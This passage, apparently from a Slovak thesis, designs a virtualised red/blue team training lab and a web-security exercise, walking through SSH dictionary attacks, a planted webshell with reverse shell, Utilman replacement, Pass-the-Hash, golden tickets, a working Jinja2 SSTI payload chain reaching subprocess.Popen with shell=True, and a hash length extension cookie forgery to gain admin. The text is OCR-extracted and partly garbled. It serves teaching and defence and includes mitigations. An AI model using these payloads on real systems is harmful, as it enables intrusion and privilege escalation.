foriem bola nakoniec zvolenda platforma vSphere od spolo¢nosti VMware. Tato plat-
forma bola zvolena na zaklade toho, ze VMware je z porovnanych platforiem naj-
stabilnejsi a skola nan ma licenciu.

Druhou castou praktickej prace je navrh cvic¢enia pre testovanie bezpecnosti we-
bovych aplikacii, ktora popisuje testovanie webovych aplikacii pomocou pokrocilej-
sich metéd utokov. Kazda popisana zranitelnost na konci cvicenia obsahuje popis

moznych metdd k jej zamedzeniu.

4.1 Vlastny navrh a implementacia sietovej infrastruk-
tary

Navrhnuté pocitacova infrastruktira simuluje organizaciu, ktora si prenajala sluzby

penetracného testovania a jeden stroj, ktory simuluje testera z internetu vid obr.4.1.

SE Windows 10/2016
2% Windows 7/2012

Cerveny tim @ ubunu 1604

22 Centos T4
10.0.76.1

10.0.76.66

& Kali Rolling

Internet

10.0.75.1

E@ 1007522

192.168.1.1 =

10.0.77.22
192 168 21

192 168 2 /24
10.0.77.0/24 | 192.168.1.0/24

Demilitarizovand zéna Internd siet’

&

DC FILES
dec.brew.ex files.brew.ex

dns.brew.ex web.brew.ex
192162111 102168112 19216822 19216823

10.0.77 11 1007712

DNS WEB

Modry tim
Obr. 4.1: Pocitacova infrastruktira
Cela infrastruktiura bezi na jednom servery, kde je nainstalovany VMware vSp-

here. S predpokladom, zZe cvicenie je urcené pre 24 studentov, je infrastruktiara imple-

26


http://nies.brew.ex

mentova momentalne dvakrat z dovodu vytazenia sietovych prvkov. Infrastruktiry
st od seba oddelené tak, ze kazd4 infrastruktira pouziva ini podsiet. V nasledujice;j
casti budu blizsie popisané vsetky nasadené stroje, rozdelené do skupin podla seg-
mentu, kde sa v sieti nachadzaji. Ako je mozné vidiet, v infrastruktire st osadené
rozne distribiicie operac¢nych systémov Linux a Windows. Je tomu tak z dovodu,
aby ucastnici cvic¢enia videli, Ze ani novsie verzie operacnych systémov nemusia byt

uplne bezpecné.

Kali linux

Hlavnym strojom pre ucastnikov cvicenia je virtualizovany Kali linux vo verzii
2019.3. Je to jediny stroj ku ktorému maji studenti na zaciatku cvic¢enia pristup.

Na stroji su nainstalované vsetky potrebné aplikacie k splneniu cvicenia.

Internet

Internet je simulovany virtualizovanym linuxom Ubuntu verzie 16.04. Tento stroj
disponuje dvoma sietovymi kartami. Jedna karta ma na siefovom rozhrani ens33
adresu 10.X.75.1, ¢o umoznuje pripojenie do podnikovej siete a na druhom rozhrani
ens37 adresu 10.X.76.1, ktora je pripojena na Kali linux. Tento stroj slizi iba na

prepojenie podnikovej infrastruktiry a testerovho Kali linuxu.

Hraniény podnikovy smerovac

Hrani¢ny smerova¢ podnikovej siete je virtualizovany opera¢ny systém linux Ubuntu
16.04. Tento smerovac¢ slizi na preposielanie celej komunikacie v ramci podniku.
Priamo na smerovaci je implementovany firewall za pomoci linuxovych iptables, ktory
zamedzuje priamy pristup do internej siete podniku. Kedze je celd infrastruktira
virtualizovana, je bez firewallu pomerne tazké nastavit preposielanie komunikacie
na jednotlivé porty ako tomu je pri fyzickom prepinaci. Smerovac¢ disponuje Styrmi
sietovymi kartami, ktoré si nakonfigurované nasledovne:

« ens33 v sieti 192.168.1.0/24, ¢o sluzi ako interny rozsah pre podnikovit DMZ,

« ens37 vsieti 192.168.2.0/24, ¢o sluzi ako interny rozsah pre serverovy segment,

« ens38 v sieti 10.X.77.0/24, ¢o slizi ako verejny rozsah pre podnikovi DMZ,

e ens39 na adrese 10.X.75.22; ¢o sluzi ako verejna adresa smerovaca.
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Demilitarizovana zéna
DNS server

Podnikovy DNS server, ktory sa nachadza v demilitarizovanej zéne spoloc¢nosti je
virtualizovany operacny systém Linux CentOS verzie 8. Tento DNS server slizi ako
sekundarny DNS server, ktory si drzi zaznamy strojov v demilitarizovanej zoéne.
Disponuje dvoma siefovymi rozhraniami ens33 s adresou 192.186.1.11 pre internt
adresu servera a ens37 s adresou 10.X.77.11 pre verejnu adresu DNS servera. Do-

ménové meno DNS servera je dns.brew.ex.

WEB server

Webovy server spolo¢nosti web.brew.ex je virtualizovany linux Ubuntu 16.04.
Tento stroj disponuje taktiez dvoma sietovymi rozhraniami. Pre internii adresu
stroja rozhranie ens33 s adresou 192.168.1.12 a pre verejnu adresu je to rozhra-

nie ens37 s adresou 10.X.77.12. Webova aplikacia bezi na web serveri Apache 2.

Interna siet
DC

Radi¢ domény (Domain controller) je najpodstatnejsim prvkom celej sietovej infra-
struktiry podnikovej siete. Na tomto stroji bezi virtualizovany OS Windows Ser-
ver 2016. Na radi¢i domény sa nachadzaju vSetky tdaje o uzivateloch, skupinach
a pocitacoch v doméne. Aby mohla doména fungovat, je na radi¢i domény spus-
teny primarny DNS server. Nazov domény je brew.ex a doménové meno stroja je

dc.brew.ex. Stroj disponuje jednym siefovym rozhranim s adresou 192.168.2.2.

FILES

Files server je virtualizovany Windows Server 2012. Je to server, ktory funguje ako

tlozisko stborov uzivatelov. Files server komunikuje s webovym serverom v DMZ.

4.2 Vlastna implementacia cvicenia

V tejto sekcii budi popisané zranitelnosti, ktoré st nasadené na strojoch v podni-
kovej infrastruktire. Kedze sa jedna o Red/Blue tim cvicenie, niektoré zranitelnosti
nevychadzaju z nespravnej konfiguracie, alebo chybajicej bezpecnostnej aktualiza-

cie, ale moze sa jednat uz priamo o softvér spusteny ttoc¢nikom na strane podniku.
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Zranitelnosti v tejto sekcii budt popisané v poradi, ako ich penetracny tester
pocas cvicenia bude vyuzivat, to znamena podla tzv. cesty utoku. Este pred popi-

sanim zranitelnosti by bolo dobré objasnit niektoré pojmy:

e Webshell je skript napisany v programovacom jazyku, ktory je podporovany
cielenym webovym serverom. Po jeho nahrani na server umoznuje vzidaleny
pristup k serveru.

e Pivot je kompromitovany stroj, ktory sliuzi k preposielaniu komunikacie na-
priklad z externej siete do internej. Je mozné ho popisat aj ako vstupni branu

do siete, kam ttocnik normélne nema pristup.

4.2.1 Nespravna konfiguracia sluzby vzdialeného pristupu

Na stroji DNS (dns.brew.ex) v demilitarizovanej zéne je spustend sluzba na vzdia-
lent spravu servera pomocou protokolu Secure shell (ssh). Na serveri je zakdzané
prihlasovanie sa pod uzivatelom root, toto je vSak jedinad nastavena ochrana. Tato
prevencia nie je zla, ale jednd sa iba o jeden z viacerych krokov, ktoré st potrebné
pre lepsie zabezpecenie sluzby ssh. Pri tejto konfiguracii nie je nastavena ochrana
voli slovnikovym ttokom. Utoénik tak méze vyuzit lubovolny néstroj na slovnikovy
utok a bez znalosti mena a hesla, len za pouzitia slovnikov, ziskat pristup k danému
systému. Najlepsou prevenciou voci tomuto typu ttokov je povolit prihlasovanie sa

na sluzbu ssh jedine pomocou paru sikromného a verejného kluca.

4.2.2 Predpripraveny webshell

Na webovom serveri (web.brew.ex) v DMZ je predom pripraveny webshell, ktory
je potrebné najst. V tomto pripade sa jedna o umelo implementovani zranitelnost.
V realite vSak velmi ¢asto dochadza k nespravnej konfiguracii webovych serverov
a administratori nechavaju do internetu volne dostupné administracné stranky ako
napriklad PHPMyAdmin, atd., ktoré ¢astokrat pouzivaju predvolené prihlasovacie
udaje. Pri takejto nespravnej konfiguracii sa moze tutocnik dostat k administracii
webového serveru a je schopny tam nahrat napriklad webshell, ako je pouzity na
spominanom stroji. Druhou zdsadnou chybou je, ze webserver je spusteny pod tziva-
telom root z ¢oho vyplyva, ze ak itoénik kompromituje stroj cez webové rozhranie,
automaticky dostane administratorské opravnenia.

V tejto ceste itoku by bolo mozné nastavenie podla realnej situacie ako je spomi-
nané vyssie, avsak z dovodu obmedzeného ¢asu cvicenia je tato cast preskocena. Na-
sadeny webshell je komplexny néstroj, ktory dokaze ovladat kompromitovany stroj
ako bezny shell v linuxe, ale s tym rozdielom, ze webshell ma grafické prostredie a

disponuje uz predpripravenymi funkciami. Najdolezitejsia funkcia pre pokracovanie
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v ceste tutoku je naviazanie reverz shellu, kde kompromitovany systém zavolad na
stroj penetracného testera. Pomocou tohto spatného spojenia je tak mozné z kom-

promitovaného servera vytvorit pivot do internej siete.

4.2.3 Nespravne nastavena sluzba Remote Desktop a vyuzitie
nastroja Utilman

Po nastaveni pivota ma pentester pristup z demilitarizovanej zony do internej siete.
V internej sieti sa nachadza Files server, ktory méa nespravne nakonfigurovant sluzbu
Remote Desktop Protocol (RDP). V tomto pripade sa jednd o ¢asto nespravne na-
staveni konfiguraciu a pokial sa jedna o OS Windows, tto¢nik ako jednu z prvych
akci oskenuje porty pre urcité sluzby, kde RDP bezi na TCP porte 3389, ktory patri
medzi top 100 portov pre skenovanie. RDP by nemal byt v Ziadnom pripade do-
stupny do internetu a to aj z dévodu nedavneho zverejnenia zranitelnosti BlueKeep
(CVE-2019-0708)', pre ktort existuje aj PoC (Proof of Concept)?. K sluzbe RDP
by mali byt nastavené restrikcie na firewalle a podstatnym bodom je nastavenie
autentizacie na trovni sietovej vrstvy.

Po tom ako sa pentester pripoji k sluzbe Remote Desktop, cez linuxového klienta
rdesktop, je vyzadovanad autentizacia voci systému Windows. V redlnom pripade
by tto¢nik musel poznat prihlasovacie iidaje k systému aby sa voci pocitacu auten-
tizoval, alebo by musel vlastnit exploit k zranitelnosti BlueKeep. Pre zjednodusenie
cvicenia je na systéme predom pripraveny tzv. Utilman.

Utilman je standartny nastroj operacného systému Windows, ktory pri prihlaso-
vani do systému umoznuje spustat dalsie nastroje ako Magnifier, Narrator a iné vid
obr. 4.2. V pripade cesty utoku je v systéme Windows nahradeny stibor Utilman.exe
siborom cmd.exe, takze v pripade spustenia Utilmana dojde k spusteniu prikazo-

vého riadku s opravneniami systému.

thttps: / /portal.msrc.microsoft.com/en-US /security-guidance /advisory /CVE-2019-0708
Zhttps: / /news.sophos.com/en-us/2019/07 /01 /bluekeep-poc-demonstrates-risk-of-remote-

desktop-exploit/
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Obr. 4.2: Tkonka nastroja Utilman

Po ziskani prikazového riadku so systémovymi opravneniami sa da systém pova-

zovat za kompromitovany a pentester ho méze pouzif na dalsie Sirenie sa po sieti.

4.2.4 Pass-the-Hash utok

Jedna sa o utok, ktory je znamy uz od roku 2014 a postihuje autentizacny protokol
systémov Windows. KedZze je tento titok znamy uz viac ako pol dekady, c¢lovek by
si pomyslel Ze sa jedna o tutok ktory uz davno nefunguje a Microsoft tito zranitel-
nost opravil. Opak je vsak pravdou a utok funguje aj po vydani réznych opravnych
patchov od Microsoftu.

Pass-the-Hash je utok zamerany na autentizdciu pomocou protokolu NTLM.
V koncenom désledku to znamend, ze ito¢nik nepotrebuje mat znalost hesla uziva-
tela pod ktorym sa chce prihlésit, ale sta¢i mu poznat hash hesla daného uzivatela.

Ako je toto vdébec mozné ?

Zakladna autentizacia pomocou NTLM

Zaznamy o uzivateloch si ulozené v Security Account Manager (SAM) databaze,
alebo v Active Directory (AD) databédze. Kazdy tcet ma priradené dva hesla: LAN-
Manager kompatibilné heslo a Windowsové heslo. Kazdé heslo je sifrované a je ulo-
zené v SAM databéze, alebo AD databaze.

LAN-Manager heslo sa vytvara zo znakovej sady OEM (original equipment ma-
nufacturer). Toto heslo nie je citlivé na malé/velké pismend a moéze obsahovat ma-

ximalne 14 znakov. Heslo je vypocitané pouzitim sifry DES (Data Encryption Stan-
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dart), kde sa spolocne Sifruje konstanta s nesifrovanym heslom. LAN-Manager OWF
(One Way Function) heslo je dlhé 16 bytov. Prvych 7 bytov nesifrovaného hesla je
pouzitych k vypocitaniu prvych 8 bytov LAN-Manager OWF hesla. Druhych 7 bytov
nesifrovaného hesla je je pouzitych k vypocitaniu druhych 8 bytov LAN-Manager
OWF hesla

Windowsové heslo sa vytvara zo znakovej sady Unikdéd. Toto heslo je citlivé
na malé/velké pismena a moze byt dlhé az 128 znakov. Toto heslo je vypocitané
vyuzitim RSA MD-4 sifrovacieho algoritmu. Tento algoritmus vypocita 16 bytova

hodnotu nesifrovaného textu premennej dizky.

Pre prihlasovanie v sieti, klient, ktory sa pripaja k pocitacu predtym dostal 16
bytovii vyzvu, alebo "nonce'(lubovolné ¢islo) vid obr. 4.3. Pokial je klient LAN-
Manager klient, klient vypocita 24 bytovi odpoved na vyzvu zaSifrovanim vyzvy
LAN-Manager heslom. LAN-Manager klient potom odosle tito odpoved na server.
Pokial sa jednd o klienta Windows, Windows NT Challenge Response (vyzva odpo-
ved) je vypocitand rovnakym algoritmom. Avsak Windows klient pouzije Windows
OWF déata miesto LAN Manager OWF dat. Windows klient potom odosle oba LAN
Manager Challenge Response a Windows N'T Challenge Response serveru. Spolo¢ne
s tym sa odosielaji aj nazov domény, uzivatelské meno a originalna vyzva. Na strane
servera sa nasledne vypocita vyzva odpoved vyuzitim OWF hesiel ulozenych v da-
tabaze a vyzvy. Pokial sa porovnané vysledky zhoduju, uzivatel je autentizovany
[34].

Klient Server Radi¢ domény (DC)

>

1. UZivatel zad4 prihlasovacie meno, heslo a doménu
2. Heslo sa prevedie na hash a zadané heslo sa zahodi
3. Klient odogle na server prihlasovacie meno v plain texte

4. Server zareaguje odoslanim vyzvy klientovi *

5. Klient tito vyzvu zasifruje hashom uzivatela a odosle na server

6. Server odosle vyzvu, klientovu odpoved a prihl. meno na DC

7. DC vytiahne hash hesla uZivatefa z databazy a zasifruje nim vyzvu
8. Nasledne porovna zasifrovanu vyzvu s odpovedou klienta
9. Autentizacia uzivatefa 9. Pokial sl zasifrované vyzvy zhodné, uZivatef je autentizovany

*Vyzva je 16B nahodné Cislo

Obr. 4.3: Schéma NTLM autentizacie
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4.2.5 Golden ticket

V Active Directory funguje autentizacia standartne pomocou uzivatelského mena
a hesla, na zdklade ktorého je vygenerovany Kerberos tiket, ktory obsahuje au-
tentizacny token. Golden ticket (zlaty tiket) je autentiza¢ny token Kerberosu pre
uzivatela KRBTGT, Co je Specialny tcet, ktorého pracovnou naplnou je Sifrovanie au-
tentizacnych tokenov pre radi¢ domény. Z toho vyplyva, ze pokial ttoc¢nik kompro-
mituje radi¢c domény a ziska hash uzivatela KRBTGT, je schopny pohybovat sa po
celej doméne [35].

Pre vytvorenie golden tiketu sa utoc¢nik potrebuje infiltrovat do siete a:

1. Kompromitovat pocitac a ziskat privilégia uzivatela, ktory ma pristup
k dalsim sieftovym zdrojom.

2. Ziskat pristup k ictu so zvysenymi privilégiami, ktory ma pristupu k ra-
dicu domény.

3. Prihlasif sa na radi¢ domény a ziskat hash uzivatela KRBTGT.

4. Vyuzit ziskany hash k vytvoreniu golden tiketu, napriklad za pomoci

nastroja mimikatz.

. J

Tento utok je mozné mitigovat alebo obmedzif tak, ze icet doménového admi-
nistratora bude slizit jedine na prihlasovanie sa na radi¢ domény a nikam inam
v doméne. Kazdy jeden systém by mal mat vlastny administratorsky ucet, ktory
ma nastavené heslo za pomoci LAPS (Local Administrator System Solution). Vy-
nutit model privilégii, ktory poskytuje doména tj. limitovat uzivatelom pristup iba

k tomu, Co potrebuji a pouzivat chranené skupiny (Protected groups).

Zhrnutie

Cvicenie bolo implementované podla navrhu a zaroven bol vytvoreny navod, ktory

je ulozeny v prilohe cislo 1.

4.3 Vlastny navrh cvicenia pre testovanie bezpecnosti
webovych aplikacii

Druhym navrhnutym cvi¢enim je cvic¢enie zamerané na bezpec¢nost webovych aplika-
cii. Cvicenie obsahuje pokrocilejsie techniky titokov na webové aplikacie ako napri-

klad ttok na kryptografiu vyuzivajicu zranitelné algoritmy. Cielom tohto cvic¢enia
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je predviest menej zname ttoky k pochopeniu ako funguji, aby administratori ve-
deli ako im predist. Cvicenie je navrhnuté tak, aby ho bolo mozné stihnut spracovat
v jednej vyucovacej hodine.

Kazda tloha obsahuje teoreticky popis zranitelnosti a nasledne popisuje navr-
hnuty scenar pre otestovanie zranitelnosti. V ramci implementéacie tiloh boli vyuzité
rozne projekty, s dopredu nakonfigurovanymi virtualnymi strojmi, uréené pre cvice-

nie bezpecnostnych expertov.

4.3.1 Server-Side Template Injection

Sablény st vyuzivané naprie¢ mnohymi webovymi aplikdciami k nacitaniu skriptov
a zobrazeniu dynamickych dat cez webové stranky a emaily. Nezabezpeceny vstup
od wuzivatela do Ssablény umoznuje Server-Side Template Injection (dalej len SSTT).
SSTTI je lahko zamenitelny s Cross-Site Scriptingom (XSS), avsak je o dost nebez-
pecnejsi, pretoze casto je mozné pomocou neho vykonat vzdialené spustenie kddu.
Téato zranitelnost mdze nastat ako chybou vyvojara, tak aj zdmernym vystavenim
Sablén s cielom obohatit funcionalitu webu [36].

V nasledujicej tabulke 4.1 je mozné vidiet niektoré programovacie jazyky a ich

frameworky, ktoré vyuzivaju sablény.

Tab. 4.1: Sablény
Programovaci jazyk Framework
ASP.NET WebForms, Razor
Java Spring / Struts Freemarker

Java Struts / J2EE

JSP

PHP Twig, Mustache, Smarty
Python (Flask, Django,...) Jinja2
Ruby Rails Rails sablony
Javascript EJS
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Objavenie a identifikacia

Prvym krokom je objavenie SSTI. K objaveniu SSTI je potrebné mat znalost toho,

ako sabléony funguji. Najjednoduchsi spésob je pomocou vyuzitia logickych operacii

ako napriklad matematika vid priklad nizsie.

Q@(2 * 2) Razor
{{2 * 2}} Twig, Mustache, alebo Jinja2
<%=2 * 2%> eRB alebo eJS

Nie je presne urcené kam sa tieto vstupy zadavaji. Preto je potrebné v apli-
kacii otestovat vsSetky vstupy a zistif, ¢i si vystupy niekde reflektované. Pokial sa
v odpovedi (na vystupe) aplikacie vrati vysledok 4, prikaz bol vykonany a server je
potencionalne zranitelny na SSTI. Nasledne pomocou pouzitej syntaxe je potrebné

identifikovat o ktory framework sa jedna pre dalsi postup.

Spustenie vzidaleného kédu

Spustenie kédu v Sabléne je mozné pod uréitymi podmienkami:
e Sabléna umoznuje opustif sandbox, alebo sandbox neexistuje,

o ak sandbox existuje, je mozné ho nejakou metdédou vycistit.

Navrh a implementacia ulohy

Na adrese http://flask.tic.ex bezi web, ktory funguje ako kniznica filmov. Na
webe je jeden vstupny formular pomocou ktorého si uzivatel moéze zvolit film. Po
zhliadnuti URL adresy je mozné vidief, ze zadany vstup sa zobrazi v URL adrese

ako parameter film.

[ flask.tic.ex/filmy?film=Matrix ]

Nasledovnym krokom bude vyskusat rozne vstupy podla prikladu 4.3.1 pre vSetky
mozné frameworky. Tento krok je mozné aj automatizovat vytvorenim slovnika a
spustenim napriklad cez nastroj Burp Suite.

Podla pouzitej Ssablony sme zistili, Zze pouzity jazyk je Python, ktory vyuziva
framework Jinja2. To ze kod sa vykonal je mozné vidiet v odpovedi servera, kde na
obr. 4.4 je mozné vidiet modro vyznacenu odpoved na zaklade vstupného parametra
film.
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¢ » O 8 € httpy//flaskticex/filmy?film={{2 * 2}}

Film ﬂ nie je dostupny.

Obr. 4.4: Identifikacia pouzitého frameworku

Ak sa v Pythone na objekt zavold metéda __ class , navratova hodnota

zobrazi triedu daného objektu.

Ziadost: flask.tic.ex/filmy?film={{”._ class__ }}
Odpoved: <class ’str’>

< B8 & httpy//flask.ticex/filmy?film={{".__class_}}

Film aFgidaes nie je dostupny.

Obr. 4.5: Overenie triedy objektu

Dalsfm délezitym prvkom v Pythone je tzv. Method resolution (__mro ).
Jedna sa o atribit, ktory umoznuje Pythonu zorganizovat metody danej triedy, ¢o
znamena ze je mozné ho vyuzit na ziskanie vsetkych zdedenych metéd triedy. Trieda

string obsahuje 2 metody: string a object, vid obr. 4.6.

< C B8 @ hitp://faskticex/filmy?film={{"._class_._mro_}}

Film [ o et - e = m a¥| nic je dostupny.

Obr. 4.6: Vyuzitie atribitu MRO k pristupu ku zdedenym triedam objektu

Pre vyuzitie zranitelnosti je potrebné odkazat sa na triedu objekt, preto sa zvoli
index cislo 1. Nasledne, po odkazani sa hlavny objekt je mozné zavolat metdédu

subclasses___ (), ktora navrati vSetky podtriedy pre triedu objekt vid obr. 4.7.

Ziadost: Hlm={{".___ class . mro [1]. subclasses___ () }}
Odpoved: [<type ’type’>, <type ’buffer’>, <type ’long’>,...]
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£ = 88 & hitp://flaskticex/filmyfilm={{"._class_._ mro_[1]._subclasses_ (}}}

Film [<class '"type'>, <class ‘weakref':, <class "weskcallableproxy':, <class ‘weakproxy'r, <class

'bytes's, <class "list'», <class "MoneType'>, <class 'NotImplementedType':, <class 'traceback':>, <
<class ‘'dict'», <class "dict_keys'>, <class "dict_wvalues'», <class 'dict_items'»>, <class 'odict_its
'str'», <class "slice':, <class 'staticmethod':, <class 'complex'>, <class 'float':, <class 'froze
‘managedbuffer'>, <class 'memoryview’>, <class '"tuple'>, <class 'enumerate'>, <class 'reversed':, -
'code'>, <class 'frame'», <class 'builtin_function_or_method':, <class '"methed’'>, <class 'functieon
‘generator’>, <class 'getset descriptor'>, <class ‘wrapper_descriptor’>, <class "method-wrapper'>,
‘member_descriptor'>, <class "types.SimpleNamespace’r, <class 'PyCapsule’>, <class 'longrange_iteri
'instancemethod’ >, <class 'classmethod descriptor':, <class 'method_descriptor'>, <class 'callable
<class 'coroutine’>, <class ‘coroutine_wrapper'>, <class 'moduledef'>, <class 'module’>, <class 'E
'fieldnameiterator'>, <class 'formatteriterator':, <class 'filter'>, <class "map'>, <class 'zip'>,
"hamt'>, <class "hamt_array_node'>, <class ‘hamt_bitmap_node'>, <class "hamt_collision_node’>, <cl

Obr. 4.7: Zobrazenie dostupnych podtried triedy objekt

Vysledok moéze vratit pole stoviek podtried. Pre nés je dolezita podtrieda SubP-
rocess.popen, ktord dokaze vykonat systémové volanie. Pre uvedenie prikladu, po-

kial je SubProcess.popen na 436. mieste, je mozné ho zavolat ako:

.. class. . mro__ [1]._ subclasses__ ()[435]

V tomto stadiu uz chyba posledny krok. Metéda popen funguje s parametrom,
ktory jej udava aku funkciu zavolat. Pre otestovanie funkcionality existuje viac spo-

sobov ako spustenie vzdialeného kédu otestovat. My si zvolime prikaz ping:

{{”.__class__. mro__ [1]._ subclasses__ ()[435](["ping -c 3
192.168.71.132"], shell=True)}}

< C 88 =) http://flask.tic.ex/filmy?film={{".__class__.__mro__[1].__subclasses_ (}[435](["ping -c 3 192.168.71.132"], shell=True)}}

Film nie je dostupny.
Obr. 4.8: Spustenie vzidaleného kédu na strane servera

To 7e sa proces spustil je mozné vidiet na obrazku 4.8. Ci prikaz naozaj funguje
je mozné overit napriklad pomocou nastroja tcpdump na stroji, na ktory bol ping

cieleny vid obr. 4.9.
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Obr. 4.9: Overenie spustenia vzdialeného koédu pomocou tepdump

Pristupom s najnizsou mierou rizika je pouzivat jednoduché sablony ako Mus-
tache, alebo Sablény Pythonu. MediaWiki vyuziva pristup spustania uzivatelského
kédu v sandboxe. V jazykoch ako napriklad Ruby je mozné emulovat tento pri-
stup pouzivanim tzv. monkey-patching, ¢o znamena dynamicky nahradzovat atri-
buty v kéde za behu programu.

Dalsfm dopliiujtcim pristupom je vziat v ivahu, Ze spustanie kédu je nevyhnutné
a tak je potrebné ho spustat v sandboxe v uzamknutom kontajnery Dockera. Tymto
sposobom je mozné vytvorit vcelku bezpecné prostredie z ktorého je narocné unikut
36].

4.3.2 Hash Length Extension

Kryptografické hashovacie funkcie ako MD4, MD5, SHA-0, SHA-1, SHA-256, SHA-
512, atd. vyuzivaju Merkle-Damgardovi konstrukciu a vypln pre hashovanie vstupu
premennej dizky na vystup fixnej dizky. Vietky tieto algoritmy st preto zranitelné
na ttok rozsirenia dlzky hashu. Server vlastni tajomstvo, ku ktorému pridéd zndmu
hodnotu a néasledne ich zhashuje k vytvoreniu Message Authentication Code (MAC).

Fungovanie vyplne v SHA-1

Hashovacia funkcia SHA-1 pracuje v blokoch dlhych 512 bitov. Pokial je vstup mensi
ako 512 bitov, musi byt doplneny do dizky bloku. Toto funguje tylom, e po vstup-
nych datach je pridand binarna jednicka, ktora znaci zaciatok vyplne. Majme priklad
vstupu ’abc’, ktory sa prevedie do hexadecimalnej stistavy, po vstupe nasleduje pri-
dand binarna jednicka prevedend do hexadecimdlnej sistavy (0x80) a na zaver je
pridand velkost vstupu vid nizsie.
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61626380 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000018

Pokial server vytvoril MAC zaloZeny na zranitelnom hashovacom algoritme, po-
tom je mozné vytvorit validnu hodnotu MAC pre ttocnikom ovladany parameter.
Ako priklad by sa dal uviest web, ktory funguje ako kniznica filmov, kde si uzi-
vatel zvoli nazov filmu a po zaplateni urcenej ¢iastky sa film spusti. V tomto pri-
pade je utocnikom ovladany parameter nazov filmu a MAC by bol vytvoreny ako
SHA1(tajomstvo||nazov__filmu), kde znak || predstavuje spojenie retazcov.

Problémom je, ze ak je MAC vytvoreny spojenim tajomstva a nazvu filmu a na-
slednym zhashovanim, tito¢nik moéze pridat dalsiu hodnotu a stale vytvorit platny
hash aj bez znalosti tajomstva. Toto je mozné, pretoze vytvoreny platny hash moéze
byt vlozeny znova do hashovacej funkcie a bude pouzity k vytvoreniu nového hashu
s pridanymi datami. Po pridani ddt bude hashovacia funkcia vyzerat nasledovne
SHA1(tajomstvo||nazov__filmu||vypln||pridané__data). Pre lepsie pochope-
nie vid ulohu nizsie.

Ako je popisané vyssie, pri tomto titoku nie je potrebnd znalost tajomstva, pre-
toze server si ho do funkcie pridava sam. Jediné, ¢o je potrebné zo strany itoc¢nika, je
na zaciatku nechat 6 bytov volného miesta, ktoré bude sluzif pre tajomstvo servera.
Kedze velkost tajomstva je iba 6 bytov, itoc¢nik moéze pouzif itok hrubou silou na
zistenie dizky tajomstva, ¢o je dostacujice k vytvoreniu platného MAC. V mnohych

pripadoch server vrati chybu, alebo iny kéd odpovede az kym nezisti spravnu dizku.

Navrh a implementacia ulohy

Na adrese http://hash.tic.ex bezi web, ktory uzivatela automaticky presmeruje
na prihlasovaciu stranku. V popise webu st dané prihlasovacie tidaje uzivatela meno:
tester a heslo: tester. Po prihlaseni je uzivatel privitany, avsak dostane hlasku, ze
pre splnenie tlohy sa musi prihlasit ako administrator.

V tejto tlohe je potrebna aspon zakladna znalost pouzivania proxy nastrojov.
My si zvolime nastroj Burp Suite. Po zapnuti nastroja je potrebné prejst na polozku
History, kde je mozné vidiet vsetky odoslané a prijaté ziadosti. Pre riesenie tejto
ulohy je dodlezita POST ziadost, ktora obsahuje meno a heslo uzivatela. Po prepnuti
na polozku Response je mozné vidief odpoved servera, kde server vytvoril cookie
pre uzivatela. Po opdtovnom nacitani stranky uz uzivatel odosiela GET zZiadost

obsahujicu cookie vytvorenu serverom vid obr. 4.10.
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GET /index.php HTTP/1.1

Host: hash.tic.ex

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:74.0) Gecko/20100101
Firefox/74.0

Accept: */*

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://hash.tic.ex/index.php

Cookie:
auth=5aec302be86labclaec6048e7ff49ddb%0A%7Cusername%3Dtester%26secret$3D12%26

Connection: close
Obr. 4.10: Odpoved servera po prihlaseni sa uzivatelom
Po preskimani cookie je mozné si vsimnuft, ze obsahuje zakdédované polozky, preto

ju celi skopirujeme a pouzijeme dekodér v Burp Suite pre jej dekédovanie vid obr.
4.11.

5aec302be861abc0aec6048e7ff49ddb
|lusername=tester&secret=12&

Obr. 4.11: Vstup a vystup dekdédovania cookie

Na prvom riadku sa nachadza 32 hexadecimalnych znakov, ¢o je 128 bitov. Podla
v¥stupnej dizky tohto hasha sa pravdepodobne jedna o MD5. Ako je popisané vyssie
v teoretickej Casti, je dost pravdepodobné, Ze sa jedna o hodnotu MAC s tajomstvom
na strane servera, ktora ako vstup berie parametre username a secret.

K vytvoreniu nového hashu bude potrebny néastroj hash__extender, ktory je
dostupny na adrese https://github.com/iagox86/hash_extender. V nasledujtcej
tabulke st popisané parametre programu hash extender potrebné pre vytvorenie

nového hashu:
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o -f pre format hashu (MD5),

e -s  pre originalny podpis (5aec302be861abcOaec6048e7{f49ddb),
e -d pre zndme data (‘username=tester&secret=12&"),

e -a  pre pridané data (&username=administrator&),

e -1 pre dizku (12),

o --out-data-format pre kédovanie dat do URL.

Ako uz naznacila hlaska pri pociatocnom prihlaseni, k splneniu tilohy je potrebné
prihlasit sa ako administrator stranky. Z analyzi cookie sme zistili, Ze server pocita
MAC z parametrov username a secret. Preto ako pridané data skusime vlozif pa-
rameter username s hodnotou administrator. Vystup z programu by mal vypadat
nasledovne (je potrebné brat v ivahu, ze data sa budu lisit):

Type: md5 Secret length: 12

New signature: €9840c689bef163d00bd837ce2ael3ft

New string:
username%3dtester%26secret%3d12%26%80%00%00%00%00%00%00 %00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00 %00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00 %00%00%00
%00%00%00%00%00%00%00%00%26username%3dadministrator%26

Po ziskani novej hodnoty hashu a refazca je potrebné pouzit v Burp Suite funkciu
Repeater, kde sa znova vyuzije ziadost z obr. 4.10 a zmeni sa hodnota cookie podla

obr. 4.12, kde prvu cast cookie tvori novy podpis a nasledne za nim je novy retazec.

Request

Raw | Hex

GET /index.php HTTP/1.1

Host: hash.tic.ex

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:74.0) Gecko/20100101
Firefox/74.0

Accept: */%

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://hash.tic.ex/index.php

Cookie:
auth=e9840c689bef163d00bd837ce2ael3ff%0A%7Cusername%3dtester%26secret%3d12%26%80%00%0
0%00%00%00%00%00%00%00%00%002%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%26username?3dadmini
strator%26

Connection: close

Obr. 4.12: Zmenena hodnota parametru cookie

Vo vedlasom okne Response by sa mala zjavit odpoved servera s textom, ze uzivatel

ziskal administratorské opravnenia s gratulaciou ku splneniu tlohy.
